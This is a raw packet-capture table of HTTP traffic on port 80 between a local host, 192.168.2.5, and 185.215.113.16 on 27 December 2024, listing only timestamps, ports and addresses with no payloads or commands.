Dec 27, 2024 15:09:16.676938057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.677324057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.677458048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.677521944 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.678365946 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.678498030 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.679233074 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.679357052 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.711638927 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.720916033 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.817965031 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.818048954 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.818084955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.818180084 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.818231106 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.818273067 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.819205046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.819308996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.819350004 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.820251942 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.820367098 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.820425987 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.821331978 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.821412086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.821449995 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.822288036 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.822384119 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.822421074 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.823292971 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.823342085 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.823385954 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.824388027 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.824511051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.825045109 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.825354099 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.825470924 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.825539112 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.826536894 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.826633930 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.827203989 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.827399015 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.827512026 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.827692986 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.828406096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.828533888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.828576088 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.829426050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.829551935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.829629898 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.830497980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.830681086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.830720901 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.831527948 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.831644058 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.831727028 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.832752943 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.833004951 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.833045006 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.833668947 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.833764076 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.834129095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.834614038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.834732056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.834780931 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.835598946 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.835700989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.835751057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.836658001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.836772919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.836823940 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.837658882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.837801933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.837838888 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.838666916 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.838787079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.838882923 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.839720011 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.839823008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.839853048 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.840748072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.840884924 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.840958118 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.841732979 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.841850042 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.841893911 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.842772961 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.842899084 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.842936039 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.843852043 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.843955994 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.844094992 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.844819069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.844924927 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.845823050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.845861912 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.845927954 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.845961094 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.846847057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.846956015 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.847215891 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.847868919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.847990990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.848025084 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.848912001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.849014044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.849064112 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.849920034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.850040913 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.850089073 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.850950956 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.851059914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.851638079 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.851974964 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.852089882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.852140903 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.852984905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.853075981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.853121996 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.854007006 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.854156971 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.854207993 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.855046034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.855160952 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.855249882 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.856057882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.856193066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.856280088 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.857053041 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.857184887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.857234001 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.857754946 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.858114004 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.858263016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.858304024 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.859129906 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.859263897 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.859749079 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.860147953 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.860281944 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.860630035 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.861211061 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.861393929 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.861437082 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.862329960 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.862432003 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.862477064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.863218069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.863344908 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.863393068 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.864257097 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.864366055 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.864419937 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.865274906 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.865375042 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.865497112 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.866369009 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.866532087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.866616011 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.867340088 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.867453098 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.867549896 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.868341923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.868453026 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.868505001 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.869353056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.869463921 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.869549990 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.870390892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.870534897 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.870572090 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.871392012 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.886326075 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.900707006 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.010251045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.010284901 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.010324955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.010601044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.010771990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.010816097 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.011603117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.011712074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.011750937 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.012641907 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.012785912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.012833118 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.013709068 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.013823032 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.013860941 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.014730930 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.014868021 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.014906883 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.015940905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.015989065 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.016252995 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.016769886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.016849995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.016890049 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.017769098 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.017879009 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.017977953 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.018778086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.018914938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.018958092 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.019799948 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.019926071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.019964933 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.020807981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.020930052 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.021032095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.021851063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.021967888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.022015095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.022918940 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.023046017 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.023098946 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.023916006 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.023983955 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.024108887 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.024135113 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.024936914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.025073051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.025115013 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.025985956 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.026072979 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.026118040 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.026981115 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.027107954 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.027162075 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.027990103 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.028107882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.028176069 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.029005051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.029114008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.029161930 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.030025005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.030164957 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.030208111 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.031049967 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.031169891 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.031210899 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.032087088 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.032196045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.032248974 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.033128977 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.033245087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.033293009 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.034142971 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.034259081 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.034307003 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.035301924 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.035370111 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.035410881 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.036303043 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.036386013 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.036437988 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.037221909 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.037329912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.037379980 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.037424088 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.038250923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.038357973 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.038423061 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.039299965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.039401054 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.039872885 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.040457964 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.040512085 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.040559053 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.041368008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.041431904 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.041497946 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.042423964 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.042509079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.042572021 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.043415070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.043581009 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.043621063 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.044459105 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.044553995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.044605970 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.045433044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.045536995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.045593977 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.046467066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.046577930 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.046621084 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.047466040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.047583103 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.047624111 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.048496962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.048593044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.048635960 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.049504042 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.049557924 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.049612045 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.050544977 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.050647020 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.050704956 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.051570892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.051672935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.051815987 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.052535057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.052615881 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.052670956 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.053563118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.053689003 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.053726912 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.054589987 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.054699898 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.054747105 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.055656910 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.055751085 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.055819035 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.056761980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.056843996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.056905031 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.057715893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.057863951 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.058034897 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.058756113 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.058933973 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.058990002 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.059717894 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.059843063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.059883118 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.060735941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.060937881 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.060982943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.061764002 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.061878920 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.062144995 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.062807083 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.062912941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.063348055 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.063761950 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.072664022 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.202398062 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.202466965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.202517986 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.202750921 CET	80	49718	185.215.113.16	192.168.2.5
